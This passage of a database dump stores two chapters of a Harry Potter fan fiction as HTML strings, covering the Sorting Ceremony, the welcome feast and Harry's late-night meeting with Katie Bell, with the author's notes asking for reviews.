waiting.\'</p>\n\n<p class="MsoNormal">She looked for a moment at Neville franticly brushing at\ndirt on his robes that wasn\'t there, at Ron self-consciously rubbing his nose\nwhere there was still a smudge of dirt and at Harry, who was nervously trying\nto flatten his hair, to no effect.</p>\n\n<p class="MsoNormal">\' I will return when we are ready\nfor you. Please wait quietly.\' then the professor turned and left.</p>\n\n<p class="MsoNormal">Harry swallowed nervously. \' Ummmmmm... How, exactly, do they sort us Ron?\'</p>\n\n<p class="MsoNormal">\' Some sort of test I think. Fred\ntold me it hurt a lot, but then... well it WAS Fred so he was probably trying\nto scare me.\' Ron answered.</p>\n\n<p class="MsoNormal">Harry\'s heart jumped. A TEST? He\nhadn\'t expected anything like this on the first day! He knew a lot of the\nTHEORY for the spells in his books but he hadn\'t dared to try anything yet!</p>\n\n<p class="MsoNormal">Hermione didn\'t seem too worried though. She was whispering\nexcitedly to anyone that would listen about how she had read all the books and\nwondered which spell she would need. From the looks on most other people\'s\nfaces though Harry didn\'t think he was the only one that didn\'t know any REAL\nspells yet.</p>\n\n<p class="MsoNormal">Harry started getting nervous again despite the realization\nthat he wasn\'t the only one that didn\'t know any spells, so he started\nmeditating once again. He imagined himself as a pond. The surface of the pond\nwas rough but as Harry started to calm down so did the water. When the pond in\nhis mind was completely calm Harry imagined it becoming frozen solid, so that\nhe would be able to keep his mind calm and so that nothing would affect his\nemotions. As this mind set slipped into place Harry\'s face became blank and\nemotionless. He looked around and felt as tough he was detached from everything\nthat was going on.</p>\n\n<p class="MsoNormal">When Ron started talking to him about what the test might be\nHarry answered without thinking about it too much and felt as if he were\nlistening to someone else with his voice carrying on the conversation.</p>\n\n<p class="MsoNormal">And then it was time. Prof. McGonagall came back into the chamber\nand led them back out into the hall.</p>\n\n<p class="MsoNormal">\' Everyone get into a single file\nline and follow me up to the front of the Great Hall. You will then line up\nagainst the front wall and face the house tables.\'</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">(AN- I was going to end it here and finally post it... but\nthere\'s now a virus on my computer and I can\'t connect to the Internet to post\nit. So I figured that I\'d keep writing, when I have the time, until I could\npost it at school or get my computer fixed. Once again I apologize for the lack\nof posts in the last few months.)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">\' Everyone get into a single file\nline and follow me up to the front of the Great Hall. You will then line up\nagainst the front wall and face the house tables.\'</p>\n\n<p class="MsoNormal">At that she turned around and opened the door and Harry and\nRon got their first view of the Great Hall.</p>\n\n<p class="MsoNormal">At first all Harry could do was wonder why they had never\nfinished building the Great Hall. It didn\'t even have a ROOF! He almost stopped\nfollowing Ron. Then he realized that the ceiling was actually there but had an\nillusion over it, like the tunnel in the cliff, to make it look like the\noutside sky. Or at least Harry figured that was the only reason for them not\nhaving a roof over something called the &quot;Great Hall&quot;. </p>\n\n<p class="MsoNormal">He would have asked Ron but everyone was being quiet and Harry\nwould have been too embarrassed to break the silence just to ask Ron about\nsomething that he didn\'t NEED to know. Harry noticed that Ron wasn\'t nearly as\nimpressed with the hall as most of the other students. But then, Harry thought,\nhe has a lot more people to be nervous about living up to and to letting down\nif he isn\'t in Gryffindor. I guess I\'m lucky not to have anyone to let down.</p>\n\n<p class="MsoNormal">Once they were all lined up at the front of the hall Prof.\nMcGonagall brought out her wand and tapped it on a worn looking hat, with a rip\nin it\'s brim, that was sitting on a stool in front of\nthe first years. She then went to the head table with the rest of the staff and\nstood behind her chair.</p>\n\n<p class="MsoNormal">Harry\'s attention was suddenly brought back to the hat as it\nstarted to move on it\'s own. As Harry watched the hat\nstarted to sing, and as it did Harry felt his mind slipping from his meditation\nand he was forced to focus on the frozen pond again. Unfortunately he didn\'t\nfeel quite as detached as he had before.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">(Insert song here)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The hall erupted in applause as the hat finished it\'s song and fell silent once more. The hat was looking\nmuch less worn than it had before, as though the applause and attention were\ngiving it vitality.</p>\n\n<p class="MsoNormal">Prof. McGonagall then motioned for silence and got it almost\nat once. She pulled a piece of parchment out of her robes.</p>\n\n<p class="MsoNormal">As she unfolded the parchment, she said \' As I call your\nnames you will go up one by one to put on the sorting hat and sit on the stool\nto be sorted. Abbott, Hannah!\'</p>\n\n<p class="MsoNormal">She said this all in one tone so that &quot;Abbott,\nHannah.&quot; took a moment before realizing that her name had been called.</p>\n\n<p class="MsoNormal">She went up shaking visibly and put on the hat then sat\ndown. The hall was silent for about twenty seconds before, \' HUFFLEPUFF!!!\', the sorting hat shouted out.</p>\n\n<p class="MsoNormal">The third table to the right cheered wildly as Hannah took\noff the hat, set it down on the stool and ran smiling to sit at her new house\ntable.</p>\n\n<p class="MsoNormal">After the first student had been sorted things went very\nsmoothly, most people having to wait between ten and thirty seconds to be\nsorted.</p>\n\n<p class="MsoNormal">\' Granger, Hermione!\' (AN- How is\nit pronounced? Is it HER-MY-OWN? I\'d like to know if someone could tell me in\nhis or her review!)</p>\n\n<p class="MsoNormal">Hermione walked up to the hat without her confidant\n&quot;I-know-what-I-need-to-aren\'t-I-special&quot; look, put on the hat and sat\ndown.</p>\n\n<p class="MsoNormal">After thirty seconds passed and the hat still hadn\'t said\nanything some of the students at the tables started to whisper and Hermione\'s\ncheeks became flushed. Hermione sat there for almost a full minute before the\nhat finally called out &quot;GRYFFINDOR!!!&quot;</p>\n\n<p class="MsoNormal">The cheers from the Gryffindors,\nas Hermione scurried over to the table with her head down, weren\'t as loud as\nthey had been for the other new Gryffindors.</p>\n\n<p class="MsoNormal">More students were called until &quot;Longbottom,\nNeville!&quot;</p>\n\n<p class="MsoNormal">As Harry watched Neville walk to the hat, he half expected\nNeville to trip over his own two feet, he was shaking so bad.\nHe made it to the stool and put on the hat without any accidents though, and as\nhe sat on the stool his hands stopped twitching nervously and lay on his lap,\nhis shoulders relaxed and his head came up. When the hat\nyelled &quot;Gryffindor!&quot; Neville just smiled widely and calmly\nwalked over to the table.</p>\n\n<p class="MsoNormal">Harry turned to Ron and raised his eyebrows, wanting to know\nif Ron had noticed that Neville hadn\'t seemed like Neville for a moment. Ron\njust shrugged but Harry could see that Ron had noticed the difference also.</p>\n\n<p class="MsoNormal">Then came &quot;Malfoy,\nDraco!&quot;</p>\n\n<p class="MsoNormal">When Malfoy got up to the stool\nand pulled on the hat it yelled &quot;SLYTHERIN!&quot; before Malfoy even had a chance to sit down. The cheers from the Slytherin table were wild as Malfoy\nwalked over, but they had to be in order to be heard over the Boo!\'s from the Gryffindor table,\nwhich earned a stern glare from Prof. McGonagall.</p>\n\n<p class="MsoNormal">As the number of students still standing shrank, Harry\nconcentrated on keeping his mind calm and detached. He was working so hard at\nit that when Prof. McGonagall called &quot;Potter, Harry!&quot; he wasn\'t even\nnervous anymore. It felt to Harry, that whatever happened would be happening to\na different person and he needn\'t worry about it.</p>\n\n<p class="MsoNormal">Harry could hear people whispering things like &quot; Is it REALLY him?&quot; and &quot; Oh my GOSH! He\nlooks SOO much better than I thought he would.&quot; The latter comming from some girls named Patil\nor something (and the Weasley twins!). He ignored the\nwhispers as he walked to the hat and sat down with it on his head, but the\nimage of the pond, frozen in his mind, was starting to crack.</p>\n\n<p class="MsoNormal">And then, all of the sudden, the whispers stopped. All the\nnoise stopped in fact and all Harry could hear was his own breathing and his\nown heart beat.</p>\n\n<p class="MsoNormal">\' Hmmmmmm...\nWell now this IS odd.\' said a small voice in Harry\'s ear.</p>\n\n<p class="MsoNormal">It had been so unexpected that Harry almost flinched when he\nheard it. Of course, he thought, this must be the Sorting Hat!</p>\n\n<p class="MsoNormal">\' Yes I am the sorting hat, but\nthen you knew that when you put me on didn\'t you? I had intended to look into\nyour heart and mind to tell which house you belong in, as I do with all new\nstudents, but... well I\'m embarrassed to say, that for the first time since my\ncreation, I cannot. Would you happen to know why Mr. Potter?\'</p>\n\n<p class="MsoNormal">Harry was getting nervous now. He was having a hard time\nkeeping his mind in the calm meditative state.</p>\n\n<p class="MsoNormal">I have no idea; Harry thought hoping that the hat could\nstill hear his thoughts. You mean there\'s nothing in my mind at all?</p>\n\n<p class="MsoNormal">\' No, no, no...\' the hat assured\nHarry. \' ...nothing like that. I just can\'t seem to\nfind anything at all... Oh wait a moment. HERE\'S something. Hmmmm. You wouldn\'t happen\nto be in a trance of some sort would you? Oh no of course you wouldn\'t you\ndon\'t learn that until seventh year... but then why are your mind and heart\nlocked up like this?\'</p>\n\n<p class="MsoNormal">Umm... Oops?</p>\n\n<p class="MsoNormal">\' I beg your pardon?\'</p>\n\n<p class="MsoNormal">Harry let his training in meditation slip and no longer felt\ndetached, but rather he felt quite nervous indeed.</p>\n\n<p class="MsoNormal">I think that maybe it was locked up like that, because I had\nbeen meditating before I put you on, Harry told the hat.</p>\n\n<p class="MsoNormal">\' Mmmmhmmmmmm.\nI see now. Yes that was the problem. At your age though? Not good to do that\ntoo often during this stage of your emotional growth... Ahh\nwell, boys WILL be boys! Now, lets see. Difficult. Very difficult. You\'ve\ngot talent. Oh my yes, tons of it... A sharp mind and thirst for knowledge...\nOh and an ambition to be independent, curious that... Ahhh and PLENTY of courage.\nNow what will it be? You\'ve got talent and loyalty for Hufflepuff,\nintelligence enough for Ravenclaw, Slytherin would be good for you with that ambition, hmm,\nand there\'s bravery and power for Gryffindor. Very difficult... but I guess it\nhad better be GRYFFINDOR!\'</p>\n\n<p class="MsoNormal">The last word Harry could tell had been shouted to the whole\nhall. The cheers were enough to shake dust loose from the ceiling and the only\nhouse not to cheer was Slytherin, and even then it\nwas only because they made it a point never to cheer a Gryffindor.</p>\n\n<p class="MsoNormal">Unfortunately Harry was not as calm as he had been before\nwearing the hat and he could feel his face start to turn red as he walked to a\nspot the Weasley twins had obviously been holding for\nhim as they chanted &quot; We got POTTER! We got\nPOTTER!&quot;</p>\n\n<p class="MsoNormal">To Harry\'s dismay the seat was right beside Hermione. He\ndidn\'t know why he had been nice to her before, but he hadn\'t known her very\nwell at all and wanted to give her the benefit of the doubt; however, he had\ncome to think that maybe Ron had been right. From the way he had heard her\ntalking to other students, in the chamber they had been waiting in, Harry\ndidn\'t think that she was really as nice a person as Harry had hoped she would\nbe. He wanted Ron to sit with him and he KNEW that Ron wouldn\'t want to sit\nnear Hermione. Also, Harry didn\'t want to have to pretend to be polite while\nlistening to her condescending tone of voice all dinner long.</p>\n\n<p class="MsoNormal">However, when the cheering had died down (Prof. McGonagall\nhad finally had to let out a loud BANG! from her wand to get the students under\ncontrol again), Harry sat down to watch the rest of the sorting. He saw that\nHermione\'s head was resting on her fore arms, and though she wasn\'t going to\nstart to cry she didn\'t look too eager to talk to anyone either.</p>\n\n<p class="MsoNormal">Then, finally, &quot;Weasley,\nRonald!&quot;</p>\n\n<p class="MsoNormal">Ron sat on the stool for almost thirty seconds before the\nhat finally put him in Gryffindor.</p>\n\n<p class="MsoNormal">Ron\'s smile when he came to sit beside Harry, with a short\nglare at Hermione, was so wide he was in danger of splitting his head in two.\nFred and George slapped him on the back congratulating him; Ron didn\'t notice\nthe sign they put on his back, but Harry did and pulled it off, crumpled it and\ntossed it away.</p>\n\n<p class="MsoNormal">\' Well done, Ron!\' Percy said\npompously from across the table.</p>\n\n<p class="MsoNormal">Finally &quot; Zabini,\nBlaise!&quot; was put in Slytherin\nand the sorting was over. Someone at the Staff table stood up as McGonagall\ncarried the sorting hat away, and Harry immediately recognized him as Albus Dumbledore; Ron had told Harry all about him on the\ntrain ride to Hogwarts.</p>\n\n<p class="MsoNormal">\' Welcome!\' He said, his voice sounding much louder than it should have even\nthough he was talking in a normal voice. \' Welcome to\na new year at Hogwarts.\' He paused to let the short applause die down. \' Before we begin our feast, I\'d like to say a few words.\nAnd they are: Nitwit! Blubber! Oddment! Tweak! Thank you!\' and with that he sat\ndown again.</p>\n\n<p class="MsoNormal">Everyone cheered and applauded, not least the Slytherins, but Harry was just confused.</p>\n\n<p class="MsoNormal">Turning to Ron he asked \' Is he- a bit mad?\'</p>\n\n<p class="MsoNormal">\' Mad? He\'s a genius! He\'s the best\nwizard in the world! But yes, he IS a bit mad.\' Ron exclaimed, before turning\nto his plate.</p>\n\n<p class="MsoNormal">\' Potatoes Harry?\' Percy asked.</p>\n\n<p class="MsoNormal">Harry looked down at the golden plates that had been bare\njust moments before. They were now full of all the best food Harry had ever\nseen. It would almost have been too much for Harry a few weeks ago before Tom,\nthe owner of the Leaky Cauldron, had made it his mission to &quot;...get some\nmeat on ya ta cover up\nthose bones!&quot;</p>\n\n<p class="MsoNormal">Harry hadn\'t realized just how hungry he was. He took as\nmuch food as his plate could hold and dug in. He had seconds and thirds of\nalmost everything. Eventually Ron and him started a\ncontest, between the two of them, to see who could eat more. The twins\nvolunteered to be judges.</p>\n\n<p class="MsoNormal">Both Harry and Ron were eating so much that the other Gryffindors started putting bets on who would win. Even\nNeville got in on it, betting ten sickles that Ron would eat most.</p>\n\n<p class="MsoNormal">All through dinner all Hermione did was push food around her\nplate and glare at anyone that tried to talk to her, but Harry thought he saw\nher slip some money to George who was taking the money for bets on Harry.</p>\n\n<p class="MsoNormal">In the end Ron ate two pieces of pie and half a chocolate\nfrog more than Harry. By the time that the money had been given out, the rest\nof the hall had finished eating and everyone was chatting, the older students\nexplaining life at Hogwarts to the new.</p>\n\n<p class="MsoNormal">Harry had noticed that there was at least one ghost at each\ntable. \' Hey, Ron? What\'s with the ghosts?\' he asked.</p>\n\n<p class="MsoNormal">\' Hmmm?\' Ron looked around to the\nghost at the Gryffindor table. \' Oh, my brothers told\nme about them. There\'s a ghost for each house. That\'s the Friar at the Hufflepuff table, that one at the Ravenclaw\ntable with the spectacles is the head ghost for Ravenclaw.\'\nhe said pointing at a ghost that looked quite a bit like Mr. Ollivander. \' That one over there,\nby the &quot;slimy git&quot;, is the bloody baron,\nand NO I DON\'T know how he got that blood on him, he\'s the head ghost for Slytherin. And last, but not least, here comes Nearly\nHeadless Nick!\' Ron finished grinning as a ghost in a ruff and tights sat down\nacross from them.</p>\n\n<p class="MsoNormal">The ghost sighed (though Harry wasn\'t sure HOW) \' I really\nwish you wouldn\'t call me that! My name is Sir Nicholas de Mimsy-Porpington\nand-\'</p>\n\n<p class="MsoNormal">\' NEARLY headless? How\'s that even\npossible?\' a boy named Seamus Finnigan interrupted.</p>\n\n<p class="MsoNormal">\' Like this!\' Nick said with a sigh\nas he pulled on his left ear and his whole head fell over onto his shoulder.</p>\n\n<p class="MsoNormal">He quickly put his head back on straight as the\ndemonstration had sent the two Patil girls into\nhysterics.</p>\n\n<p class="MsoNormal">Trying to change the topic quickly Nick asked \' So, new Gryffindors? I hope you\'ll work hard and win our house many\npoints! We\'ve never gone this long without winning the house cup before. The Slytherins have had it six years in a row now and the\nBloody Baron has become almost unbearable!\'</p>\n\n<p class="MsoNormal">As the other students continued with this conversation Harry\nstudied the Professors at the staff table. An extremely short wizard with a\nhigh pitched voice was having a chugging contest with Hagrid\n(and WINNING!) and Prof. McGonagall was talking to Dumbledore. There was Prof. Quirrell talking to a man with a long hawkish nose and\nblack greasy hair. As Quirrell turned his back to\nHarry in order to watch the conclusion of the chugging contest the man with the\ngreasy hair turned and stared at Harry. As their eyes met, Harry felt a sudden\nsearing pain in his scar. Harry might have screamed in pain, but the pain\ncaused all of his muscles to contract at once keeping him from making any sound\nat all. As the pain continued Harry\'s back began to arch, then, as suddenly as\nit started and for as much reason, the pain stopped, leaving Harry looking\nrather silly and breathing hard.</p>\n\n<p class="MsoNormal">\' Ummm...\nnot that it\'s any of my business, but what are you doing?\' Ron asked, giving\nHarry an odd look.</p>\n\n<p class="MsoNormal">\' I uh- was just stretching. I\'m\ngetting kind of tierd.\' Again Harry wasn\'t lying. His\nmuscles had been stretched and Harry was EXHAUSTED!</p>\n\n<p class="MsoNormal">Just then, Dumbledore stood up again and the hall fell\nsilent without him having said a word or made a single jesture.</p>\n\n<p class="MsoNormal">\' I have a few reminders and\nnotices to make now that we are all fed and watered. One: To all first years-\nand a few older students- the &quot;Forbidden&quot; forest IS indeed forbidden,\nhence the name.\' he said, eyes twinkling merrily. \' Two:\nAlthough magic is allowed in the corridors between classes, it is not\nencouraged. Three: Quidditch trials will be held on\nthe second week of term this year due to problems with some trees that decided\nto move to the centre of the feild during summer\nvacation. And last of all: The third floor corridor on the right hand side is\nout of bounds to everyone that doesn\'t wish to die a very painful death.\'</p>\n\n<p class="MsoNormal">At the last remark several students laughed uncertainly but\nmost looked serious and hushed the few that did laugh. Harry on the other hand\ndidn\'t take the warning TOO seriously. After all he heard that kind of thing at\nleast once a day with the Dursley\'s. (AN- They really\nDO treat him like Dobby don\'t they? &gt;:-( )</p>\n\n<p class="MsoNormal">\' And now...\' said Dumbledore with\nhis twinkle back in his eyes. \' ...we sing the school\nsong before heading off to bed. Everybody pick you favourite\ntune!\' Then he flicked his wand, as if it were wet and he was trying to dry it\noff, and a long golden ribben came out the end of it\nand twisted itself into the words of the song.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">\'Hogwarts, Hogwarts, Hoggy Warty\nHogwarts,</p>\n\n<p class="MsoNormal">Teach us something please,</p>\n\n<p class="MsoNormal">Whether we be old and bald,</p>\n\n<p class="MsoNormal">Or young with scabby knees,</p>\n\n<p class="MsoNormal">Our heads could do with filling,</p>\n\n<p class="MsoNormal">With some interesting stuff,</p>\n\n<p class="MsoNormal">For now they\'re bare and full of air,</p>\n\n<p class="MsoNormal">Dead flies and bits of fluff,</p>\n\n<p class="MsoNormal">So teach us things worth knowing,</p>\n\n<p class="MsoNormal">Bring back what we\'ve forgot,</p>\n\n<p class="MsoNormal">Just do your best, we\'ll do the rest,</p>\n\n<p class="MsoNormal">And learn until our brains all rot.\'</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The song finished with Fred and George singing to the tune\nof a funeral march.</p>\n\n<p class="MsoNormal">\' And now to bed. Off you all go!\'\nDumbledore said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">AN- La la la!\nPlease review with any advice or suggestions you might have!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">H/H FOREVER!</b></p>\n\n<p class="MsoNormal">Bye!</p>\n\n\n\n\n\n\n'),
	(17, 12, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Anyone that reads this and has advice, please review. I can\nALWAYS use advice. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">H/H FOREVER!</b></p>\n\n<p class="MsoNormal">Bye! </p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\'Hogwarts, Hogwarts, Hoggy Warty Hogwarts, </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Teach us something please, </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Whether we be old and bald, </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Or young with scabby knees, </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Our heads could do with filling, </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">With some interesting stuff, </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">For now they\'re bare and full of\nair, </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Dead flies and bits of fluff, </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">So teach us things worth knowing,\n</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Bring back what we\'ve forgot, </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Just do your best, we\'ll do the\nrest, </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">And learn until our brains all\nrot.\' </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">The song finished with Fred and\nGeorge singing to the tune of a funeral march. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' And\nnow to bed. Off you all go!\' Dumbledore said. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">The Gryffindor first years\nfollowed Percy through the crowd of students, out into the entrance hall and up\none of the sets of stairs. Harry\'s legs felt like lead, he was so tired. He\nthought that if he fell down he\'d probably fall asleep on the floor and the\nothers would have to carry him to his room. Later Harry would hardly be able to\nremember how he made it too the common room on his own two feet, but he did\nmake it in the end. One moment he was walking up the stairs from the entrance\nhall and the next moment he was waiting outside the hole that lead into the\nGryffindor chambers and he couldn\'t remember anything in between. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Come\non Harry. Lets go. I\'m asleep on my feet here and you\ndon\'t look much better.\' Ron mumbled rubbing his eyes. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Ron was behind Harry and was\nwaiting for him to go through the hole into the common room. Harry climbed\nthrough and was directed, by Percy, up a spiral staircase on the left of the\ncommon room. The Gryffindor chambers were obviously in one of the towers; Ron\nand Harry\'s room was at the very top of the stair case, which had doors leading\noff into other bed rooms every few yards (metres) or\nso. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Ron and Harry were both so tired\nthat it was all they could do to change and crawl under the covers of their\nbeds. As exhausted as Harry was, he found himself tossing, turning and\ngenerally unable to sleep. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">After an hour or so Harry gave up\nand crept down into the common room with his transfiguration and potions\ntextbooks. He had heard Hermione and Percy talking, during the feast, about how hard Prof. Snape\nwas on any non-Slytherin student and how hard\ntransfiguration was in general. Harry figured that if he couldn\'t sleep, then\nhe might as well read up on his subjects so that he might avoid looking stupid\nin front of his housemates. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry had been reviewing his\nmagical herbs and their uses when he heard someone coming down the girls\'\nstaircase. He figured that it must be Hermione coming to study just as Harry\nhimself was, so he crouched behind the large armchair that he had been sitting\nin. He just didn\'t want to talk to someone who, although she might be able to\nhelp him study, would almost definitely act very condescending and superior. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry was just trying to figure\nout a way to get back to his staircase without being seen when the girl who had\nbeen making the noise stepped into view. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">It wasn\'t Hermione after all! It\nwas some girl whose name Harry couldn\'t remember. Why was I SO sure it was\nHermione then? Harry thought to himself. It must just be because I was thinking\nabout her while I was studying. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry was about to stand up and\nsay hello, when he remembered that most people didn\'t hide behind chairs in the\nmiddle of the night and if he jumped up and said \'Hi!\' it would probably scare\nthe girl. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry waited until the girl\'s back\nwas turned and then stood up and stepped from behind the chair. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Hello?\'\nhe asked softly. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Even though Harry hadn\'t jumped\nup from behind a chair and hadn\'t shouted &quot;Boo!&quot; the girl let out a\nshort scream, which she quickly stifled. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Great\nwizards you scared me! Don\'t you make any NOISE?\' the girl asked breathing hard\nand holding her hand over her chest. She kept looking from Harry to the\nstaircase for the boys\' rooms, obviously wondering how Harry had gotten across\nthe room without her seeing him. \' What are you doing\ndown here at this time of night anyway?\' </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Ummm, sorry. I just couldn\'t sleep so I figured that\nI might as well read up on my potions.\' Harry whispered. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">The girl stared at him as if he\nhad two heads. \' Why, in the name of Merlin, would\nanyone be studying on the day BEFORE school starts?\' </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' I\'ve\ngot double potions with Prof. Snape tomorrow. At\nleast I do according to George... or was it Fred?\' </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Uh-huh?\nWell in that case I\'m willing to bet you don\'t have potions tomorrow at all. So\nyou know the twins huh?\' </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Uhh yeah. You to?\' </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">The girl nodded. \' Yep. Known \'em\nfor a couple years now.\' </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' They\'re\nkinda crazy aren\'t they?\' Harry asked with a grin\nthat shone in the dark. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Heh heh. Yeah, they are.\'\nthe girl answered, looking distracted. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Hello?\nYou still here?\' Harry asked, walking over to wave his\nhand in front of the girl\'s face. From this close Harry could tell that she was\na year or two ahead of him. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Huh?\nOh yeah, sorry.\' the girl blushed. \' I\'m Katie by the\nway.\' she said holding out her hand. \'Katie Bell. You\'re a first year right?\nWhat\'s your name?\' </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry smiled and took her hand. \' I\'m Harry. Nice to meet you, Katie.\'\nInstead of shaking her hand though, he bowed and kissed it, grinning in a\nself-mocking way. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Katie shook her head and smiled\nwith silent laughter. \' Well, Mr. Harry, Do you happen\nto have a last name?\' </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Potter.\'\nHarry said grimly. He was hoping that she wouldn\'t react like all the people at\nthe Leaky Cauldron had; he was getting sick of it really. He was, apparently,\nfamous for doing something that he couldn\'t even remember. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">For a moment Katie just looked at\nhim sceptically. After a moment\nthough her eyes began to slowly grow wider. \' Oh.\nMy. Gosh. You\'re not kidding?\' She finally said. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Not liking the way this was\ngoing, Harry rolled his eyes and started to explain. \'Look, I really hope\nyou\'re not going to start going all goofy on me now like most people have been\nlately.\' </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Katie\'s expression changed right\naway from awe to indignity. Harry had read her right. He thought that saying\nthat might get a reaction. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' And\nwhat is that supposed to mean?\' she asked with one eyebrow raised. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry smiled and began to\nexplain. They sat down across from each other in the large, comfy armchairs. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">When the clock in the common room\nrang one o\'clock Katie stopped their\ntalk. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\'...so wherever I go, people\nalready know me and just act crazy. It\'s really awkward and is getting\nannoying.\' </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Wish I\nhad your problem. People asking to give you their products\nfor free. Huh! Some annoyance THAT is! Anywho,\nI gotta go now, but it\'s been nice talking to ya, Harry. I\'ll see ya tomorrow.\'\nshe said before leaving through the portrait hole. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry smiled. He wasn\'t positive,\nbut he thought that maybe her destination had something to do with the note he\nhad seen one of the twins slip her at the feast. The smile turned into a grin\nas he remembered the eating contest he had lost. His stomach hurt like anything\nnow but it was a reminder of one of the happiest moments in Harry\'s life. He\nhoped to make many more happy memories here at Hogwarts. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry\'s grin turned into a yawn\nbefore he could pursue that train of thought though and he headed up to his\nroom again. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">When he got there, Harry realized\nthat nothing had changed. He had been exhausted before and hadn\'t been able to\nsleep then either. It took a moment\'s thought, but eventually he figured out\nwhat was the problem, and after that he fell asleep as soon as he lay down. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Neville was the first to wake the\nnext morning, and the first thing he did once he was out of bed, was to trip\nover Harry. He made quite a thump when he fell and it woke the other three\nboys. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Harry?\'\nRon groaned sleepily. \' What\'re you doing on the\nfloor? Fall out of bed?\' </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' No,\nno. I just slept on the floor is all.\' Harry answered\nas he sat up, as if this were a completely natural thing to do. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Why\nwould you want to sleep on the floor?\' Seamus asked. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">He had gotten used to the fact,\nthe night before, that the &quot;the-boy-who-lived&quot; was not really THAT\ndifferent from most people, and hated to be treated as if he were. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Well\nmy bed was just too soft.\' Harry said, blushing. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">The other boys just looked at him\nas though he were crazy as Neville picked himself up off the floor. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Whatever\nyou say Harry.\' Seamus finally said and got out of bed to get ready for their\nfirst day of classes. He and Neville went to the boys\' bathroom to shower and\nchange. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Ron, on the other hand, wanted to\nknow the rest of the story. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' What\ndo you mean it\'s too SOFT?\' he demanded. \' That would\nonly make it MORE comfortable, wouldn\'t it?\' </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' You\'d\nthink so, but after sleeping in a closet on a collapsible cot for so long, the\nbed it just... well I guess it\'s TOO comfortable. I couldn\'t get to 